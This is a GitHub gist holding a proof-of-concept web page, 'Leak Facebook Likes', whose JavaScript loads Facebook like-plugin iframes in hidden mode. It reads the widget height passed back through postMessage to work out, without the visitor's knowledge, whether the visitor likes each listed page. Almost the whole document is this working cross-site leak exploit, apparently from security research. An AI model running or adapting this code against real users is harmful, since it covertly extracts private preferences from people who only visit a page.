Created
March 8, 2020 22:03
-
-
Save tomvangoethem/abd2b8db3f461a44391174071d54f2fa to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Leak Facebook Likes</title> | |
</head> | |
<body> | |
hidden mode? <input type="checkbox" checked="checked" id="hidden"> <br> | |
<button id="go">Go!</button> | |
<pre id="result"></pre> | |
</body> | |
<script type="text/javascript"> | |
const facebook_pages = [ | |
"https://www.facebook.com/Dept.Computerwetenschappen.KULeuven/", | |
"https://www.facebook.com/DisneyAristocats/", | |
/// | |
] | |
window.addEventListener('message', (e) => { | |
if (window.resolve) { | |
let result = e.data; | |
if (result.indexOf('height=64') !== -1) { | |
result += ` height is 64 ==> user likes page`; | |
} | |
else { | |
result += ` height != 64 ==> user DOES NOT like page`; | |
} | |
window.resolve(result); | |
if (window.hidden && window.iframe) { | |
document.body.removeChild(window.iframe); | |
} | |
} | |
}) | |
async function checkHeight(url) { | |
return new Promise((resolve) => { | |
window.resolve = resolve; | |
const iframe = document.createElement('iframe'); | |
iframe.src = `https://www.facebook.com/v2.8/plugins/like.php?action=recommend&app_id=0&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D44%23cb%3Df376d8d63078068%26domain%3D%26origin%3D*%26relation%3Dparent.parent&container_width=150&href=${encodeURIComponent(url)}&layout=standard&locale=en_US&sdk=joey&show_faces=true&size=large&width=220`; | |
if (window.hidden) { | |
iframe.style.visibility = 'hidden'; | |
} | |
document.body.appendChild(iframe); | |
window.iframe = iframe; | |
}); | |
} | |
function log(msg) { | |
document.querySelector('#result').textContent += `${msg}\n`; | |
} | |
async function run(dict) { | |
for (const [key, url] of Object.entries(dict)) { | |
let result = await checkHeight(url); | |
log(`${url} --- ${result}`); | |
} | |
} | |
async function checkAll() { | |
log(`___ START ___`) | |
await run(facebook_pages); | |
log(`___ STOP ___`) | |
} | |
document.querySelector('#go').addEventListener('click', (e) => { | |
checkAll(); | |
window.hidden = document.querySelector('#hidden').checked; | |
e.preventDefault(); | |
return false; | |
}) | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment